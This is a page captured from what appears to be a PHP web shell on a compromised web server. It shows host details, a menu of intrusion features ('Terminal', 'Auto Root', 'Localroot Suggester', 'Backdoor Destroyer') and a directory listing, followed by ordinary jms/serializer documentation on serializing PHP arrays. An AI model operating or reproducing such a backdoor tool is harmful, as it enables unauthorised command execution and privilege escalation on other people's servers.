Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.218.99.99
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
jms /
serializer /
doc /
cookbook /
Delete
Unzip
Name
Size
Permission
Date
Action
arrays.rst
2.34
KB
-rw-rw-r--
2022-08-24 15:26
exclusion_strategies.rst
11.18
KB
-rw-rw-r--
2022-08-24 15:26
object_constructor.rst
1.81
KB
-rw-rw-r--
2022-08-24 15:26
stdclass.rst
650
B
-rw-rw-r--
2022-08-24 15:26
Save
Rename
Serializing arrays and hashes ============================= Introduction ------------ Serializing arrays and hashes (a concept that in PHP has not explicit boundaries) can be challenging. The serializer offers via ``@Type`` annotation different options to configure its behavior, but if we try to serialize directly an array (not as a property of an object), we need to use context information to determine the array "type" Examples -------- In case of a JSON serialization: .. code-block :: php <?php // default (let the PHP's json_encode function decide) $serializer->serialize([1, 2]); // [1, 2] $serializer->serialize(['a', 'b']); // ['a', 'b'] $serializer->serialize(['c' => 'd']); // {"c" => "d"} // same as default (let the PHP's json_encode function decide) $serializer->serialize([1, 2], SerializationContext::create()->setInitialType('array')); // [1, 2] $serializer->serialize([1 => 2], SerializationContext::create()->setInitialType('array')); // {"1": 2} $serializer->serialize(['a', 'b'], SerializationContext::create()->setInitialType('array')); // ['a', 'b'] $serializer->serialize(['c' => 'd'], SerializationContext::create()->setInitialType('array')); // {"c" => "d"} // typehint as strict array, keys will be always discarded $serializer->serialize([], SerializationContext::create()->setInitialType('array<integer>')); // [] $serializer->serialize([1, 2], SerializationContext::create()->setInitialType('array<integer>')); // [1, 2] $serializer->serialize(['a', 'b'], SerializationContext::create()->setInitialType('array<integer>')); // ['a', 'b'] $serializer->serialize(['c' => 'd'], SerializationContext::create()->setInitialType('array<string>')); // ["d"] // typehint as hash, keys will be always considered $serializer->serialize([], SerializationContext::create()->setInitialType('array<integer,integer>')); // {} $serializer->serialize([1, 2], SerializationContext::create()->setInitialType('array<integer,integer>')); // {"0" : 1, "1" : 2} $serializer->serialize(['a', 'b'], SerializationContext::create()->setInitialType('array<integer,integer>')); // {"0" : "a", "1" : "b"} $serializer->serialize(['c' => 'd'], SerializationContext::create()->setInitialType('array<string,string>')); // {"c" : "d"} .. note :: This applies only for the JSON serialization.